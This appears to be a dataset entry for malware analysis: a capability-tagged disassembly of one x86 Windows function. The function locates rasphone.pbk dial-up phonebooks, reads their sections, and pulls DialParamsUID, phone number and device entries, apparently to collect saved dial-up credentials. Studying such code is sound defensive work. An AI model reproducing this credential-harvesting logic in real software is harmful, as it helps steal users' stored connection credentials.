Function at 0x10005d10
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7ec
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x2bc], 0
push 0x105
lea eax, [ebp - 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
push 0x5c
lea ecx, [ebp - 0x1ac]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
add eax, 1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp - 0x7ec]
mov eax, dword [edx + 0x14]
push eax
lea ecx, [ebp - 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
lea edx, [ebp - 0x1ac]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x23
lea eax, [ebp - 0x2b8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
lea ecx, [ebp - 0x2b8]
push ecx
push 0x10089220
lea edx, [ebp - 0x2b8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x1ac]
mov dword [ebp - 0xa4], eax
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x98], 0x94
lea edx, [ebp - 0x98]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x10005e05
cmp dword [ebp - 0x94], 5
jb 0x10005e05
mov ecx, dword [ebp - 0x7ec]
call fcn.10005bf6
mov dword [ebp - 4], 0x1000
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x7d8], eax
mov ecx, dword [ebp - 0x7d8]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x1b0], 0
jmp 0x10005e45
mov edx, dword [ebp - 0x1b0]
add edx, 1
mov dword [ebp - 0x1b0], edx
cmp dword [ebp - 0x1b0], 2
jae 0x1000618f
mov eax, dword [ebp - 4]
push eax
push 0
mov ecx, dword [ebp - 0x9c]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x1b0]
mov eax, dword [ebp + edx*4 - 0xa4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x2c0], eax
jmp 0x10005eb1
mov ecx, dword [ebp - 0x2c0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x2c0]
lea eax, [edx + eax + 1]
mov dword [ebp - 0x2c0], eax
mov ecx, dword [ebp - 0x2c0]
movsx edx, byte [ecx]
test edx, edx
je 0x1000618a
mov eax, dword [ebp - 0x2c0]
push eax
mov ecx, dword [ebp - 0x7ec]
call fcn.100063da
mov dword [ebp - 0x5c8], eax
push 0x100
push 0
lea ecx, [ebp - 0x5c4]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x7d0]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
push 0
lea eax, [ebp - 0x4c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x6cc]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x3c0]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp + eax*4 - 0xa4]
push ecx
push 0x100
lea edx, [ebp - 0x5c4]
push edx
push 0
push str.DialParamsUID
mov eax, dword [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0
jle 0x10006073
mov dword [ebp - 0x7d4], 0
jmp 0x10005fa4
mov ecx, dword [ebp - 0x7d4]
add ecx, 1
mov dword [ebp - 0x7d4], ecx
mov edx, dword [ebp - 0x7ec]
mov eax, dword [ebp - 0x7d4]
cmp eax, dword [edx + 0x10]
jge 0x10006073
mov ecx, dword [ebp - 0x7d4]
imul ecx, ecx, 0x301
mov edx, dword [ebp - 0x7ec]
mov eax, dword [edx + 0x1c]
add eax, ecx
push eax
lea ecx, [ebp - 0x5c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1000606e
mov edx, dword [ebp - 0x7d4]
imul edx, edx, 0x301
mov eax, dword [ebp - 0x7ec]
mov ecx, dword [eax + 0x1c]
lea edx, [ecx + edx + 0x200]
push edx
lea eax, [ebp - 0x7d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x7d4]
imul ecx, ecx, 0x301
mov edx, dword [ebp - 0x7ec]
mov eax, dword [edx + 0x1c]
lea ecx, [eax + ecx + 0x100]
push ecx
lea edx, [ebp - 0x4c0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x7d4]
imul eax, eax, 0x301
mov ecx, dword [ebp - 0x7ec]
mov edx, dword [ecx + 0x1c]
mov byte [edx + eax + 0x300], 1
mov eax, dword [ebp - 0x7ec]
mov ecx, dword [eax + 8]
add ecx, 1
mov edx, dword [ebp - 0x7ec]
mov dword [edx + 8], ecx
jmp 0x10006073
jmp 0x10005f95
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp + eax*4 - 0xa4]
push ecx
push 0x100
lea edx, [ebp - 0x6cc]
push edx
push 0
push str.PhoneNumber
mov eax, dword [ebp - 0x2c0]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp + ecx*4 - 0xa4]
push edx
push 0x100
lea eax, [ebp - 0x3c0]
push eax
push 0
push str.Device
mov ecx, dword [ebp - 0x2c0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x3c0]
push edx
mov ecx, dword [ebp - 0x7ec]
call fcn.100063da
mov dword [ebp - 0x4c4], eax
lea eax, [ebp - 0x7d0]
push eax
mov ecx, dword [ebp - 0x7ec]
call fcn.100063da
mov dword [ebp - 0x5cc], eax
mov ecx, dword [ebp - 0x4c4]
push ecx
lea edx, [ebp - 0x6cc]
push edx
lea eax, [ebp - 0x4c0]
push eax
mov ecx, dword [ebp - 0x5cc]
push ecx
mov edx, dword [ebp - 0x5c8]
push edx
lea eax, [ebp - 0x5c4]
push eax
mov ecx, dword [ebp - 0x7ec]
call fcn.100061b0
mov ecx, dword [ebp - 0x5c8]
mov dword [ebp - 0x7dc], ecx
mov edx, dword [ebp - 0x7dc]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x7e0], eax
mov ecx, dword [ebp - 0x7e0]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x7e4], edx
mov eax, dword [ebp - 0x7e4]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
jmp 0x10005e94
jmp 0x10005e36
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x7e8], ecx
mov edx, dword [ebp - 0x7e8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret